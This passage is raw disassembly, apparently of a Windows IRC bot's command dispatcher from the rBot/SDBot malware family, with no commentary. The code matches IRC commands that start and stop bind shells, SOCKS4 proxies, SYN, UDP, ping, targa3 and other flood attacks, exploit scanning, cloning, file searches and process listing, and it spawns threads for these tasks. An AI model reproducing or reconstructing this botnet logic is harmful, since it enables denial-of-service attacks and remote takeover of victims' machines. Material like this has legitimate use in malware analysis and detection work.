		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC88
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC7C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB898
		mov	eax, off_429168[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC60
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC58
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC40
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CC04
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBC0


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset sub_416000
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CB60
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB30
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294D4, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DBA0


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D4
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDCC ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBB8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DBA0[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAB4 ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC8 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC8 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA10
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9CC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9B0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C99C
		push	offset dword_42C990
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C970
		push	offset dword_42C960
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C954
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C948
		push	offset dword_42C93C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C928
		push	offset dword_42C91C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C900
		push	offset dword_42C8F0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8D4
		push	offset dword_42C8C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8AC
		push	offset dword_42C8A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C948
		push	offset dword_42C93C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C928
		push	offset dword_42C91C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C888
		push	offset dword_42C87C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C870
		push	offset dword_42C864
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8D4
		push	offset dword_42C8C4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8AC
		push	offset dword_42C8A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C854
		push	offset dword_42C844
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C834
		push	offset dword_42C824
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C900
		push	offset dword_42C8F0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7F0
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C854
		push	offset dword_42C844
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C834
		push	offset dword_42C824
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C888
		push	offset dword_42C87C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C870
		push	offset dword_42C864
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C758
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C734
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C714
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_1	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
